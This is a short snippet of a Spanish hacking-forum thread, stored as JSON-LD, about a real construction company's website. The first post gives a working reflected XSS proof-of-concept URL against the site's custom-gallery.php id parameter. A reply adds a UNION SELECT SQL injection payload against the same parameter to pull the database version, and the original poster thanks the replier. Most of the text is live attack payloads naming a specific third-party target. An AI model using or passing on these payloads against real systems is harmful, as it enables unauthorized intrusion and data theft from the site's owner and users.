[*] PoC: ----> http://www.dynastybuilders.ca/custom-gallery.php?id=33%27%22%3E%3Cscript%3Ealert(/Drok3r%20-%20XSS%20/)%3C/script%3E Autor [!] Drok3r (redbirdTEAM - CiberSecurityRECON) Reportado: SI","comment":[{"@type":"Comment","text":"¡Hola Drok3r! Excelente XSS, pero te comento que la web también es vulnerable a SQLi, por si no lo has notado. Payload: http://www.dynastybuilders.ca/custom-gallery.php?id=' union select 1,version(),3,4,5,6,7,8,9,10,11 -- - ¡Saludos!","datePublished":"2018-07-23T02:10:22+00:00","author":{"@type":"Person","name":"Nobody","url":"https://underc0de.org/foro/index.php?action=profile;u=34246"},"url":"https://underc0de.org/foro/index.php?topic=37010.0#msg127826"},{"@type":"Comment","text":"¡Hola Drok3r! Excelente XSS, pero te comento que la web también es vulnerable a SQLi, por si no lo has notado. Payload: http://www.dynastybuilders.ca/custom-gallery.php?id=' union select 1,version(),3,4,5,6,7,8,9,10,11 -- - ¡Saludos! Aaaa que cosas.... jeje Gracias por el dato.","datePublished":"2018-07-26T21:52:34+00:00","author":{"@type":"Person","name":"Drok3r","url":"https://underc0de.org/foro/index.php?action=profile;u=62743"},"url":"https://underc0de.org/foro/index.php?topic=37010.0#msg127883"}]}
